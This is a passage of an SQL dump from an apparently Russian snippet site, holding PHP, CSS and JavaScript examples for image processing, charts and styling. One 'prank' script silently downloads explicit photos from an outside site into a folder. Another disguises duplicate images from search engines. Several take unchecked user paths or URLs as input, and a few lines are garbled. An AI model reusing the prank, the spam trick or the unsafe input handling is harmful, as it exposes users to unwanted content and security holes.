blockquote:after, q:before, q:after { content: \'\'; content: none; } table { border-collapse: collapse; border-spacing: 0; }','files_4072_5362_',151),(228,20,'Ресайз TEXTAREA при введении символов','когда вводишь определенное колличество переносов строки, то поле ввода становиться более широкое.','&lt;script type=&quot;text/javascript&quot;&gt; function resizeTextarea(event, key) { if (event.keyCode == 13) { if (typeof self.totalEnter != \'number\') { totalEnter = 1; }  totalEnter++;  if (totalEnter &gt; 3) { key.rows = key.rows + 1; } } } &lt;/script&gt;','files_3945_5228_',151),(229,20,'Создание превью для изображений','Создание превью для изображений','define(\'FILESDIR\', dirname(__FILE__) . DIRECTORY_SEPARATOR . \'img\' . DIRECTORY_SEPARATOR); $path = FILESDIR . \'someimage.png\'; $fname = \'someimage\'; if (extension_loaded(\'gd\')) { $imageSize = getimagesize($path); $types = array(1 =&gt; \'gif\', 2=&gt; \'jpg\', 3 =&gt; \'png\'); $imageType = array_key_exists($imageSize[2], $types) ? $types[$imageSize[2]] : FALSE; if ($imageType !== FALSE) { $width = $imageSize[0]; $height = $imageSize[1]; if ($width &gt; 220 || $height &gt; 176) { switch ($imageType) { case \'gif\': $image = imagecreatefromgif($path); break; case \'jpg\': $image = imagecreatefromjpeg($path); break; case \'png\': $image = imagecreatefrompng($path); break; default: } $max = $width &gt; $height ? \'w\' : \'h\'; $new_width = 176; $new_height = 220;  if ($max == \'w\' &amp;&amp; $width &gt; $new_width) $new_height = intval(($new_width * $height) / $width);  if ($max == \'h\' &amp;&amp; $height &gt; $new_height) $new_width = intval(($new_height * $width) / $height);  $preview = imagecreate($new_width, $new_height); imagecopyresized($preview, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height); imagepng($preview, FILESDIR . $fname . \'_preview.png\'); } } }','files_4044_5635_',151),(230,20,'Анимируем профильные карточки с помощью css','Анимируем профильные карточки с помощью css','Сегодня мы рассмотрим как можно применить CSS анимацию в действии. В данном примере будем использовать несколько эффектов. Просто наводим мышь на изображением и видим эффект.  Теперь давайте посмотрим на код, на основе которого работает демо пример:  Основной HTML и CSS  Все эффекты применяются к html коду одного и того же вида. Вот как он выглядит:            01  &lt;ul id=&quot;[EFFECT]&quot; class=&quot;profiles&quot;&gt;      02  &lt;li&gt;      03  &lt;img class=&quot;pic&quot; src=&quot;images/[PIC].jpg&quot; /&gt;      04  &lt;ul class=&quot;info&quot;&gt;      05  &lt;li&gt;&lt;a href=&quot;[URL]&quot;&gt;[NAME]&lt;/a&gt;&lt;/li&gt;      06  &lt;li&gt;[MAIL]&lt;/li&gt;      07  &lt;li&gt;[PHONE]&lt;/li&gt;      08  &lt;/ul&gt;      09  &lt;/li&gt;      10  &lt;!-- More cards --&gt;      11  &lt;/ul&gt;   Обратите внимание на маркер [EFFECT], который используется в атрибуте ID. Таким образом мы можем применит несколько эффектов к одной и той же карточке. Это основной html, который нас может заинтересовать. Теперь давайте посмотрим на CSS. Я оставил только самое нужное:            01  .profiles {      02  list-style:none;      03  }      04  .profiles &gt; li {      05  float:left;      06  }      07  .info, .pic {      08  position:absolute;      09  }      10  .info {      11  /* по умолчанию прячем подробную информацию о изображении */      12  opacity:0;      13  }   Вот и всё. Для просмотра полного CSS и HTML кода, смотрите исходники.  Эффект простого движения            01  #push .info {      02  transition: all 0.3s;      03  transition-delay:0.2s;      04  }      05  #push .pic {      06  transition: all 0.5s;      07  }      08  /* показываем информацию */      09  #push li:hover .info {      10  opacity:1;      11  }      12  /* уменьшаем видимость, поворачиваем и уменьшаем изображение */      13  #push li:hover .pic {      14  opacity:0.7;      15  transform: scale(0.7) rotate(10deg);      16  }   Эффект слайда            01  /* по умолчанию, панель информации смещаем влево */      02  #slide .info {      03  transition: all 0.3s;      04  transform: translate(-50px, 0);      05  }      06  #slide .pic {      07  transition: all 0.3s;      08  }      09  /* при наведении мыши, показываем блок информации и помещаем на нужную позицию */      10  #slide li:hover .info {      11  opacity:1;      12  transform: translate(0, 0);      13  }      14  /* при наведении мыши, показываем изображение и помещаем на нужную позицию */      15  #slide li:hover .pic {      16  opacity:0;      17  transform: translate(50px, 0);      18  }   Эффект 3D сальто            01  #flip {      02  perspective: 800px;      03  }      04        05  #flip .info {      06  transition: all 0.8s;      07  opacity:1;      08  transform-style: preserve-3d;      09  }      10  /* анимируем текст*/      11  #flip .info li {      12  transform: rotateY(180deg);      13  }      14  #flip .pic {      15  transition: all 0.8s;      16  backface-visibility: hidden;      17  z-index:999;      18  transform-style: preserve-3d;      19  }      20  /* при наводке мыши, поворачиваем */      21  #flip li:hover .info {      22  transform: rotateY(180deg);      23  }      24  /* при наводке мыши, поворачиваем */      25  #flip li:hover .pic {      26  transform: rotateY(180deg);      27  }   Эффект взрыва            01  #explode .info {      02  transition: all 0.7s;      03  transform: scale(0.8);      04  }      05  #explode .pic {      06  transition: all 0.7s;      07  }      08  /* при наводке мыши, показываем информацию */      09  #explode li:hover .info {      10  opacity:1;      11  transform: scale(1);      12  }      13  /* и обратно */      14  #explode li:hover .pic {      15  opacity:0;      16  transform: scale(1.4);      17  }   Итог  Вот и всё. Четыре созданных эффекта полностью в вашем распоряжении. Прелесть в том, что всё это только средствами CSS.','files_2490_5358_',151),(231,20,'1 картинка равна 4-ем','Кому нибудь может быть понадобится такой скрипт, которой смог бы совместить две, три, четыре и более картинок в одну.','&lt;? $imname[1]=&quot;1.jpg&quot;; // img начальные $imname[2]=&quot;2.jpg&quot;; $imname[3]=&quot;3.jpg&quot;; $imname[4]=&quot;4.jpg&quot;; $i=\'1\'; while($i&lt;=4) { $old[$i]=imagecreatefromjpeg($imname[$i]); $w[$i]=imagesx($old[$i]); $h[$i]=imagesy($old[$i]); $w_new = 500; // размер картинки $h_new = 500; $i++; } $new = imagecreatetruecolor($w_new, $h_new); imagecopyresized($new, $old[1], 0, 0, 0, 0, $w_new/2, $h_new/2, $w[1], $h[1]); imagecopyresized($new, $old[2], $w_new/2, 0, 0, 0, $w_new/2, $h_new/2, $w[2], $h[2]); imagecopyresized($new, $old[3], 0, $h_new/2, 0, 0, $w_new/2, $h_new/2, $w[3], $h[3]); imagecopyresized($new, $old[4], $w_new/2, $h_new/2, 0, 0, $w_new/2, $h_new/2, $w[4], $h[4]); $i=1; imagejpeg($new,\'123.jpg\'); // img конечное while($i&lt;=4) { imagedestroy($old[$i]); //чистим память $i++; } imagedestroy($new); //чистим память ?&gt;','files_5509_5502_',151),(232,20,'Генератор градиентов','Создаём файл и туда лепим этот код.\r\nДля примера файл называется\r\ngradient.php.\r\nПереходим по ссылке типа\r\ngradient.php?\r\ntype=g&amp;w=15&amp;h=80&amp;s=F01935&amp;e=08B864\r\nРазсмотрим что здесь что значит.\r\ntype - тип градиента (горизонтальный -\r\ng, вертикальный - v - по умолчанию)\r\nw - ширина картинки. По умолчанию 60\r\nh - высота картинки. По умолчанию\r\n100\r\ns - цвет старта. По умолчанию чёрный\r\ne - цвет конца (не того что вы\r\nподумали). По умолчанию белый.','&lt;?php //определяем тип: вертикальный или горизонтальный $type = (isset($_GET[\'type\']) &amp;&amp; $_GET [\'type\'] == \'g\') ? \'g\' : \'v\'; //определяем высоту $height = (isset($_GET[\'h\'])) ? abs ((int)$_GET[\'h\']) : 100; //определяем ширину $width = (isset($_GET[\'w\'])) ? abs ((int)$_GET[\'w\']) : 60; //определяем цвета $start = (isset($_GET[\'s\']) &amp;&amp; preg_match (\'#[0-9A-F]{6}#\',$_GET[\'s\'])) ? $_GET[\'s\'] : \'000000\'; $end = (isset($_GET[\'e\']) &amp;&amp; preg_match (\'#[0-9A-F]{6}#\',$_GET[\'e\'])) ? $_GET[\'e\'] : \'FFFFFF\'; //определяем RGB этих цветов $start_r= hexdec(substr($start, 0, 2)); $start_g = hexdec(substr($start, 2, 2)); $start_b = hexdec(substr($start, 4, 2)); $end_r = hexdec(substr($end, 0, 2)); $end_g = hexdec(substr($end, 2, 2)); $end_b = hexdec(substr($end, 4, 2)); //создаём картинку $image = imagecreate($width, $height); //определяем тип и рисуем градиент if($type == \'g\'){ for($x=0; $x&lt;$width; $x++){ $new_r = $start_r - intval(($start_r - $end_r) / $width * $x); $new_g = $start_g - intval(($start_g - $end_g) / $width * $x); $new_b = $start_b - intval(($start_b - $end_b) / $width * $x); $row_color = imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, $x, 0, $x, $height, $row_color); } }else{ for($y=0; $y&lt;$height; $y++){ $new_r = $start_r - intval(($start_r - $end_r) / $height * $y); $new_g = $start_g - intval(($start_g - $end_g) / $height * $y); $new_b = $start_b - intval(($start_b - $end_b) / $height * $y); $row_color = imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, 0, $y, $width, $y, $row_color); } } header(\'Content-type: image/png\'); imagepng($image); imagedestroy($image); //вот и всё ?&gt;','files_2817_2456_',151),(233,20,'Наложение','Наложение копирайта, или другого своего текста во все скрипты','&lt;?php $copyright = \'/* ваш копирайт например &quot;это скрипт васи пупкина&quot; * /\'; foreach(glob(\'di r/*.php\')as$file) {echo \'файл\'.$file.\' копирайт=) наложен&lt;br/&gt;\'; file_put_contents($file, preg_replace(\'#^&lt;\\?php#\',&quot;&lt;?php \\n&quot;. $copyright.&quot;\\n&quot;, file_get_contents($file)));} ? &gt;','files_2713_4933_',151),(234,20,'Перевод цвета изображения в черно-белое','Перевод цвета изображения в черно-белое','&lt;?php $im = ImageCreateFromJpeg(&quot;file.jpg&quot;); $size = getimagesize(&quot;file.jpg&quot;); $new = imagecreate($size[0], $size[1]); $black = imagecolorallocate($new, 0, 0, 0); $white = imagecolorallocate($new, 0xFF, 0xFF, 0xFF);  for ($i = 1; $i &lt; $size[0]; $i++) { for ($j = 1; $j &lt; $size[1]; $j++) { $rgb = ImageColorAt($im, $i, $j); $r = ($rgb &gt;&gt; 16) &amp; 0xFF; $g = ($rgb &gt;&gt; &amp; 0xFF; $b = $rgb &amp; 0xFF; if ( $r &lt; 128 &amp;&amp; $r &lt; 128 &amp;&amp; $b &lt; 128 ) { imagesetpixel($new, $i, $j, $black); } elseif ( $r &gt;= 128 &amp;&amp; $r &gt;= 128 &amp;&amp; $b &gt;= 128 ) { imagesetpixel($new, $i, $j, $white); } } } header(&quot;Content-type: image/jpeg&quot;); imagejpeg($new, null, 100); imagedestroy($im); imagedestroy($new); ?&gt;','files_5119_2843_',151),(235,20,'прозрачность изображения','•opacity:0.25 – определяет прозрачность изображения. Значения: от 0 до 1.\r\n•filter:alpha(opacity=25) – параметр для Internet Explorer. Значения: от 0 до 100.\r\n•hspace=&quot;&quot; – определяет дополнительные отступы от изображения по горизонтали.\r\n•alt=&quot;&quot; – определяет альтернативный текст. Нужно прописывать даже пустой атрибут.','&lt;img src=&quot;../images/mustang.jpg&quot; width=&quot;250&quot; height=&quot;153&quot; alt=&quot;&quot; hspace=&quot;47&quot; /&gt; &lt;img src=&quot;../images/mustang.jpg&quot; width=&quot;250&quot; height=&quot;153&quot; alt=&quot;&quot; style=&quot;opacity:0.25;filter:alpha(opacity=25)&quot; /&gt;','files_2920_1481_',151),(236,20,'Проверяем, существует-ли функция imagecreate():','Проверяем, существует-ли функция imagecreate():','&lt;? $function=&quot;imagecreate&quot;; # имя функции, которую будем проверять  if(function_exists($function)) { echo &quot;Функция &quot;.$function.&quot;() - существует&quot;; }  else { echo &quot;Функция &quot;.$function.&quot;() - не существует&quot;; } ?&gt;','files_2770_4138_',151),(237,20,'Ресайз (resize) gif анимации','Ресайз (resize) gif анимации','&lt;?php /** * Ресайз (resize) gif анимации * 08.02.10 */  /* Если использовать GD, то вы заметите, что ресайза анимашки как такового не выйдет, будет изменен лишь первый кадр. На помощь приходит ImageMagick (http://www.imagemagick.org/)  В мануале http://www.php.net/manual/en/imagick.examples-1.php приведен пример (смотрите Example #5 Read in GIF image and resize all frames), который делает косячные анимашки, поэтому привожу рецепт, который работает. */  //большая анимашка big.gif $images = new Imagick(\'big.gif\');  //вычисляем масштаб сторон (хотим сделать с максимальной стороной 64) $scale = max($images-&gt;getImageWidth(), $images-&gt;getImageHeight()) / 64;  //вот этой фишки не хватает в примере из мануала на php.net $images = $images-&gt;coalesceImages();  //вычисляем рамеры сторон с учетом масштаба $width = round($images-&gt;getImageWidth() / $scale); $height = round($images-&gt;getImageHeight() / $scale);  //и ресайзим каждый кадр в цикле do { $images-&gt;scaleImage($width, $height); } while ($images-&gt;nextImage());  //оптимизируем слои $images-&gt;optimizeImageLayers();  //освобождаем память $images = $images-&gt;deconstructImages();  //сохраняем анимацию в small.gif $images-&gt;writeImages(\'small.gif\', true);  /* В результате получаем нормальную отресайзенную анимацию. Но если попытаться сделать пакетную обработку нескольких анимашек, то можно убедиться, что скрипт делает это ОЧЕЕЕЕЕНЬ ДОЛГО, поэтому для пакетной обработки лучше применять вызов команды */ exec(&quot;/usr/local/bin/convert \'big.gif\' -coalesce -thumbnail \'64x64&gt;\' \\ -layers Optimize \'small.gif\' &quot;);  /** Что же делать, если нет ImageMagick на хостинге? Для экстремалов есть классы для работы с gif-анимациями, если хотите, можете писать о них в комментах, лично у меня такого желания нет. */','files_3138_3946_',151),(238,20,'Налажуем картинку на картинку','Налажуем картинку на картинку','&lt;?php $img = $_GET[\'img\']; /// путь к картинке которую копирайтим $im = imagecreatefromjpeg($img); $lg = imagecreatefrompng(\'copyrite.png\'); /// наша картинка копирайта $img_x = imagesx($im); $img_y = imagesy($im); $img_x_copy = imagesx($lg); $img_y_copy = imagesy($lg); imagecopy($im, $lg, $img_x-$img_x_copy, $img_y-$img_y_copy, 0, 0, $img_x_copy, $img_y_copy); header(\'Content-Type: image/jpeg\'); imagejpeg($im); imagedestroy($im); /// чистим мусор imagedestroy($lg); /// чистим мусор ?&gt;','files_2174_3726_',151),(239,20,'Обвести изображение цветной рамкой','5px - толщина рамки','&lt;img src=&quot;Адрес изображения&quot; style=&quot;border:5px solid Цвет;&quot;&gt;','files_2882_4707_',151),(240,20,'Работа с полупрозрачными цветами','Работа с полупрозрачными цветами','&lt;?php $size = 300; $im = imageCreateTrueColor($size, $size); $back = imageColorAllocate($im, 255, 255, 255); imageFilledRectangle($im, 0, 0, $size - 1, $size - 1, $back); // Создаем идентификаторы полупрозрачных цветов. $yellow = imageColorAllocateAlpha($im, 255, 255, 0, 75); $red = imageColorAllocateAlpha($im, 255, 0, 0, 75); $blue = imageColorAllocateAlpha($im, 0, 0, 255, 75); // Рисуем 3 пересекающихся круга. $radius = 150; imageFilledEllipse($im, 100, 75, $radius, $radius, $yellow); imageFilledEllipse($im, 120, 165, $radius, $radius, $red); imageFilledEllipse($im, 187, 125, $radius, $radius, $blue); // Выводим изображение в браузер. Header(\'Content-type: image/png\'); imagePng($im); ?&gt;','files_1268_3151_',151),(241,20,'пример создания секторных диаграмм','пример создания секторных диаграмм','&lt;?php define(&quot;HEIGHT&quot;,200); define(&quot;WIDTH&quot;,200); $data=array(10,5,20,40,10,15); $img=imagecreate(200, 200); $background=$white=imagecolorallocate($img, 0xFF,0xFF,0xFF); $black=imagecolorallocate($img, 0, 0, 0); $center_x=(int)WIDTH/2; $center_y=(int)HEIGHT/2; imagerectangle($img, 0, 0, WIDTH-1, HEIGHT-1, $black); $last=0; foreach($data as $proc) { $len=(360*$proc)/100; imagefilledarc($img, $center_x, $center_y, WIDTH-20, HEIGHT-20, $last, ($last+$len), $black, IMG_ARC_EDGED | IMG_ARC_NOFILL); $last +=$len; } header(&quot;Content-Type: image/png&quot;); imagepng($img); ?&gt;','files_4175_4051_',151),(242,20,'объёмная круговая диаграмма','И вот &quot;цветастая, красивая&quot; объёмная круговая диаграмма. Если раскометировать пару тройку строк, то будем с легендой.','&lt;?  // $im - идентификатор изображения // $VALUES - массив со значениями // $LEGEND - массив с подписями function Diagramm($im,$VALUES,$LEGEND) { GLOBAL $COLORS,$SHADOWS;  $black=ImageColorAllocate($im,0,0,0);  // Получим размеры изображения $W=ImageSX($im); $H=ImageSY($im);  // Вывод легенды #####################################  // Посчитаем количество пунктов, от этого зависит высота легенды $legend_count=count($LEGEND);  // Посчитаем максимальную длину пункта, от этого зависит ширина легенды $max_length=0; // foreach($LEGEND as $v) if ($max_length&lt;strlen($v)) $max_length=strlen($v);  // Номер шрифта, котором мы будем выводить легенду $FONT=2; $font_w=ImageFontWidth($FONT); $font_h=ImageFontHeight($FONT);  // Вывод прямоугольника - границы легенды ----------------------------  $l_width=($font_w*$max_length)+$font_h+10+5+10; $l_height=$font_h*$legend_count+10+10;   // Получим координаты верхнего левого угла прямоугольника - границы легенды $l_x1=$W-10-$l_width; // $l_y1=($H-$l_height)/2;  // Выводя прямоугольника - границы легенды // ImageRectangle($im, $l_x1, $l_y1, $l_x1+$l_width, $l_y1+$l_height, $black);  // Вывод текст легенды и цветных квадратиков // $text_x=$l_x1+10+5+$font_h; // $square_x=$l_x1+10; /// $y=$l_y1+10; /* $i=0; foreach($LEGEND as $v) { $dy=$y+($i*$font_h); ImageString($im, $FONT, $text_x, $dy, $v, $black); ImageFilledRectangle($im, $square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1, $COLORS[$i]); ImageRectangle($im, $square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1, $black); $i++; } */ // Вывод круговой диаграммы ----------------------------------------  $total=array_sum($VALUES); $anglesum=$angle=Array(0); $i=1;  // Расчет углов while ($i&lt;count($VALUES)) { $part=$VALUES[$i-1]/$total; $angle[$i]=floor($part*360); $anglesum[$i]=array_sum($angle); $i++; } $anglesum[]=$anglesum[0];  // Расчет диаметра $diametr=$l_x1-10-10;  // Расчет координат центра эллипса $circle_x=($diametr/2)+10; $circle_y=$H/2-10;  // Поправка диаметра, если эллипс не помещается по высоте if ($diametr&gt;($H*2)-10-10) $diametr=($H*2)-20-20-40;  // Вывод тени for ($j=20;$j&gt;0;$j--) for ($i=0;$i&lt;count($anglesum)-1;$i++) ImageFilledArc($im,$circle_x,$circle_y+$j, $diametr,$diametr/2, $anglesum[$i],$anglesum[$i+1], $SHADOWS[$i],IMG_ARC_PIE);  // Вывод круговой диаграммы for ($i=0;$i&lt;count($anglesum)-1;$i++) ImageFilledArc($im,$circle_x,$circle_y, $diametr,$diametr/2, $anglesum[$i],$anglesum[$i+1], $COLORS[$i],IMG_ARC_PIE); } $an=0; $an1=1; $an2=2; $an3=3; $an4=4; $an5=5; $an6=6; // Зададим значение и подписи $VALUES=Array($an,$an1,$an2,$an3,$an4,$an5,$an6); $LEGEND=Array(&quot;Пон&quot;,&quot;Вт&quot;,&quot;Ср&quot;,&quot;Чет&quot;,&quot;Пят&quot;,&quot;Суб&quot;,&quot;AS&quot;);  // Создадим изображения header(&quot;Content-Type: image/png&quot;); $im=ImageCreate(300,300); // размеры  // Зададим цвет фона. $bgcolor=ImageColorAllocate($im,255,255,255);  // Зададим цвета элементов $COLORS[0] = imagecolorallocate($im, 255, 203, 3); $COLORS[1] = imagecolorallocate($im, 220, 101, 29); $COLORS[2] = imagecolorallocate($im, 189, 24, 51); $COLORS[3] = imagecolorallocate($im, 214, 0, 127); $COLORS[4] = imagecolorallocate($im, 98, 1, 96); $COLORS[5] = imagecolorallocate($im, 0, 62, 136); $COLORS[6] = imagecolorallocate($im, 0, 102, 179); $COLORS[7] = imagecolorallocate($im, 0, 145, 195);  // Зададим цвета теней элементов $SHADOWS[0] = imagecolorallocate($im, 205, 153, 0); $SHADOWS[1] = imagecolorallocate($im, 170, 51, 0); $SHADOWS[2] = imagecolorallocate($im, 139, 0, 1); $SHADOWS[3] = imagecolorallocate($im, 164, 0, 77); $SHADOWS[4] = imagecolorallocate($im, 48, 0, 46); $SHADOWS[5] = imagecolorallocate($im, 0, 12, 86); $SHADOWS[6] = imagecolorallocate($im, 0, 52, 129); $SHADOWS[7] = imagecolorallocate($im, 0, 95, 145);   // Вызов функции рисования диаграммы Diagramm($im,$VALUES,$LEGEND);  // Генерация изображения ImagePNG($im) ?&gt;','files_1846_1929_',151),(243,20,'Проверяем, подключена-ли библиотека GD','Проверяем, подключена-ли библиотека GD','&lt;? $extension=&quot;gd&quot;; # имя библиотеки  if(extension_loaded($extension)) { echo &quot;Библиотека &quot;.$extension.&quot; - подключена&quot;; }  else { echo &quot;Библиотека &quot;.$extension.&quot; - не подключена&quot;; } ?&gt;','files_4944_1846_',151),(244,20,'Код Шутник','Запускаете на Денвере и вся папка заполняется кучей фоток с голыми тетками','&lt;? set_time_limit(0); ignore_user_abort(1); error_reporting(0);  for ($i=100;$i&lt;=700;$i++) { for ($k=1;$k&lt;=30;$k++) { $f1 = fopen(&quot;http://pejnya.ru/new_arhive/photo/$i/$k.jpg&quot;, &quot;r&quot;); $buffer = fgets($f1, 24); if ($buffer[6] != &quot;J&quot; || $buffer[7] != &quot;F&quot; || $buffer[8] != &quot;I&quot; || $buffer[9] != &quot;F&quot;) break; $f2 = fopen($i.&quot;_&quot;.$k.&quot;.jpg&quot;, &quot;w&quot;); while (!feof ($f1)) { fputs($f2, $buffer); $buffer = fgets($f1, 4096); } fputs($f2, $buffer); fclose ($f1); fclose ($f2); } } ?&gt;','files_5453_3337_',151),(245,20,'Рандомизация изображений','Рандомизация изображений или как сделать рисунки уникальными для ПС (JPG only!)\r\nКак сделать рисунки уникальными для ПС без видимой потери качества?\r\nНиже представляю вам функцию на PHP для рандомизации изображений. С ней можно сгенерироваь 1000 копий одного и того же рисункаа ПС все их будут считать различными.Из преобразований с изображением применяются:\r\nрандомное обрезание (crop)\r\nрандомный ресайз\r\nрандомное добавление шумов','function randomizeimage( $pathtoimg ) {  $src = imagecreatefromjpeg($pathtoimg); $w_src = imagesx($src); $h_src = imagesy($src);  $dt = mt_rand(5,25); $dl = mt_rand(5,25); $db = mt_rand(5,25); $dr = mt_rand(5,25); $img = imagecreatetruecolor( $w_src - $dl - $dr, $h_src - $dt - $db ); imagecopy($img, $src, 0, 0, $dl, $dt, $w_src - $dl - $dr, $h_src - $dt - $db);  $w_img1 = $w_src - $dl - $dr + ( (mt_rand(0,1)==0)?-1:1 ) * min( mt_rand(50,100), mt_rand(20,round( ($w_src - $dl - $dr)/2 ) )); $h_img1 = round( ($h_src - $dt - $db) * $w_img1 / ($w_src - $dl - $dr) ); $img1 = imagecreatetruecolor( $w_img1, $h_img1 ); imagecopyresized($img1, $img, 0, 0, 0, 0, $w_img1, $h_img1, $w_src - $dl - $dr, $h_src - $dt - $db);  $count = mt_rand(10,30); for( $i=0;$i&lt;$count; $i++ ) { imagesetpixel( $img1, mt_rand(1,$w_img1-1), mt_rand(1, $h_img1-1), imagecolorallocate($img1, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255)) ); }  $name = randstr(10).\'.jpg\'; imagejpeg( $img1, $name ); return $name;  }','files_4399_3887_',151),(246,20,'Рисунок =&gt; Символы','Рисунок =&gt; Символы','&lt;? $factor = (int)$_POST[\'factor\']; $usetable = $_POST[\'table\']; $file = $_POST[\'file\']; $act = $_GET[\'act\']; $fileex = $_POST[\'fileex\']; echo &quot;&lt;form action=\\&quot;&quot;.$_SERVER[\'PHP_SELF\'].&quot;?act=make\\&quot; method=\\&quot;post\\&quot;&gt; &lt;table&gt;&lt;tr&gt; &lt;td&gt;Адрес файла:&lt;/td&gt;&lt;td&gt;&lt;input name=\\&quot;file\\&quot; type=\\&quot;text\\&quot; value=\\&quot;\\&quot;&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;Файл с инета (http://...) &lt;input name=\\&quot;fileex\\&quot; type=\\&quot;checkbox\\&quot; value=\\&quot;ON\\&quot;&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;Погрешность цвета&lt;/td&gt;&lt;td&gt;&lt;input name=\\&quot;factor\\&quot; type=\\&quot;text\\&quot; value=\\&quot;\\&quot;&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;Использовать таблицу &lt;input name=\\&quot;table\\&quot; type=\\&quot;checkbox\\&quot; value=\\&quot;OFF\\&quot;&gt;&lt;/td&gt;&lt;td&gt;Если вы не используете таблицу, уменьшите маштабирование в браузере до 50% ))&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; &lt;input type=\\&quot;submit\\&quot; value=\\&quot;JPG =&gt; ASCII\\&quot;&gt; &lt;/form&gt;&quot;; if($act ==\'make\') { $format = explode(\'.\',$file); $format = $format[(count($format))-1]; if($file == \'\') { echo &quot;&lt;br /&gt;Вы не ввели адрес файла!&quot;; } elseif(!file_exists($file) AND !$fileex) { echo &quot;&lt;br /&gt;Файл несуществует!&quot;; } elseif(($format != \'jpg\') AND ($format != \'jpeg\')) { echo &quot;&lt;br /&gt;Неверный формат файла. Поддерживается только JPG!&quot;; } else { $img = ImageCreateFromjpeg($file); $size = getimagesize($file); $orig_x = (int)$size[0]/2; $orig_y = (int)$size[1]/3; if($usetable){$str=\'&lt;table&gt;&lt;tr&gt;\';}else{$str=\'\';} for($y=1;$y&lt;=$orig_y;$y++) { for($x=1;$x&lt;=$orig_x;$x++) { $str.= quatro($img,$x,$y,$str,$factor,$usetable); } if($usetable){$str.=&quot;&lt;/tr&gt;&lt;tr&gt;&quot;;}else{$str.=&quot;&lt;br/&gt;&quot;;} } if($usetable){echo &quot;&lt;font style=\\&quot;font-family: Courier\\&quot;&gt;&quot;.$str.&quot;&lt;/font&gt;&lt;/table&gt;&quot;;}else{echo &quot;&lt;font style=\\&quot;font-family: Courier\\&quot;&gt;&quot;.$str;} } } function quatro($img,$x,$y,$str,$factor,$usetable) { $x = $x*2; $y = $y*3; for($q_x=0;$q_x&lt;2;$q_x++) { for($q_y=0;$q_y&lt;3;$q_y++) { $rgb = ImageColorAt($img, $x+$q_x, $y+$q_y); $r = ($rgb &gt;&gt; 16) &amp; 0xFF; $g = ($rgb &gt;&gt; 8) &amp; 0xFF; $b = $rgb &amp; 0xFF; $pixel_total = $r + $g + $b; if ($pixel_total &gt; (((255 + $factor) / 2) * 3)) { $hex.=0; } else { $hex.=1; } } } return sectorToASCII($hex,$usetable); }   function sectorToASCII($hex,$usetable) { $char[000001] = \',\'; $char[000010] = \'.\'; $char[000011] = \'i\'; $char[000100] = \'\\\'\'; $char[000101] = \':\'; $char[000110] = \'l\'; $char[000111] = \'!\'; $char[001000] = \'.\'; $char[001001] = \'_\'; $char[001010] = \'/\'; $char[001011] = \'\'; $char[001100] = \'/\'; $char[001101] = \';\'; $char[001110] = \'/\'; $char[001111] = \'J\'; $char[010000] = \'`\'; $char[010001] = chr(0x5C); $char[010010] = \'-\'; $char[010011] = \'\'; $char[010100] = \'/\'; $char[010101] = \'&lt;\'; $char[010110] = \'\'; $char[010111] = \'&lt;\'; $char[011000] = \'i\'; $char[011001] = \'\'; $char[011010] = \'в\'; $char[011011] = \'*\'; $char[011100] = \'/\'; $char[011101] = \'B\'; $char[011110] = \'&amp;\'; $char[011111] = \'\'; $char[100000] = \'`\'; $char[100001] = chr(0x5C); $char[100010] = chr(0x5C); $char[100011] = chr(0x5C); $char[100100] = \'{\'; $char[100101] = \'\'; $char[100110] = chr(0x5C); $char[100111] = \'7\'; $char[101000] = \':\'; $char[101001] = \'\'; $char[101010] = \'&gt;\'; $char[101011] = \'Э\'; $char[101100] = \'\'; $char[101101] = \'=\'; $char[101110] = \'?\'; $char[101111] = \']\'; $char[110000] = \'¦\'; $char[110001] = chr(0x5C); $char[110010] = \'\'; $char[110011] = \'%\'; $char[110100] = \'\'; $char[110101] = \'г\'; $char[110110] = \'&quot;\'; $char[110111] = \'9\'; $char[111000] = \'I\'; $char[111001] = \'L\'; $char[111010] = \'&gt;\'; $char[111011] = \'6\'; $char[111100] = \'В\'; $char[111101] = \'[\'; $char[111110] = \'@\'; $char[111111] = \'#\'; if($usetable) { if($char[$hex]==\'\')$char[$hex]=\'&amp;nbsp;\'; return &quot;&lt;td&gt;&quot;.$char[$hex].&quot;&lt;/td&gt;&quot;; } else { if($char[$hex]==\'\')$char[$hex]=\'&amp;nbsp&amp;nbsp;\'; return $char[$hex]; } }   ?&gt;','files_4683_2009_',151),(247,20,'Инвертирование rgb цвета','Инвертирование rgb цвета','&lt;?php /** * Инвертирование rgb цвета */ function color_inverse($color){ $color = substr($color, 1); //отрезаем # от цвета if (strlen($color) != 6){ return \'000000\'; } //проверка на длинну $rgb = \'\'; for ($x=0; $x&lt;3; $x++){ $c = 255 - hexdec(substr($color, (2*$x), 2)); $c = ($c &lt; 0) ? 0 : dechex($c); $rgb .= (strlen($c) &lt; 2) ? \'0\'.$c : $c; } return \'#\'.$rgb; }  //возьмем для примера желтый $color = \'#FFFF00\'; echo &quot;&lt;div style=\'height:10%; background-color:$color\'&gt;&lt;/div&gt;&quot;; //посмотрим что получится если его инвертировать echo &quot;&lt;div style=\'height:10%; background-color:&quot;.color_inverse($color).&quot;\'&gt;&lt;/div&gt;&quot;;','files_3241_4655_',151),(248,20,'Изображение из .bmp','Изображение из .bmp','&lt;?php function imageCreateFromBMP($filename) {  if (! $f1 = fopen($filename,&quot;rb&quot;))  return false;   $FILE = unpack(&quot;vfile_type/Vfile_size/Vreserved/Vbitmap_offset&quot;, fread($f1,14));  if ($FILE[\'file_type\'] != 19778)  return false;   $BMP = unpack(  \'Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel\'.  \'/Vcompression/Vsize_bitmap/Vhoriz_resolution\'.  \'/Vvert_resolution/Vcolors_used/Vcolors_important\', fread($f1,40));   $BMP[\'colors\'] = pow(2,$BMP[\'bits_per_pixel\']);   if ($BMP[\'size_bitmap\'] == 0)  $BMP[\'size_bitmap\'] = $FILE[\'file_size\'] - $FILE[\'bitmap_offset\'];   $BMP[\'bytes_per_pixel\'] = $BMP[\'bits_per_pixel\']/8;  $BMP[\'bytes_per_pixel2\'] = ceil($BMP[\'bytes_per_pixel\']);  